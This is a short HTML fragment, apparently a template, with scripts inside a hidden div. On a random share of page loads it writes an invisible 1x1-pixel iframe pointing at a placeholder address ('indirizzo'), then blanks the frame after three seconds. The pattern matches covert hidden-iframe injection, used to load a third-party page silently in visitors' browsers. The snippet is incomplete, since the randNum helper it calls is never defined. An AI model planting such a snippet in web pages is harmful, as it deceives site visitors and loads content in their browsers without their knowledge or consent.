<div style="display:none;">
<script>function cambiaFrame(id)
{
document.getElementById(id).src='';
}
</script>
<script>
var r=randNum(0,10);
if(r==1 || r==4)
document.write('<iframe id ="id1" src="indirizzo" scrolling="no" frameborder="0" style="border:none; overflow:hidden;width:1px;height:1px;" allowtransparency="true"></iframe>');
var t=setTimeout("cambiaFrame('id1')",3000);
</script>
</div>

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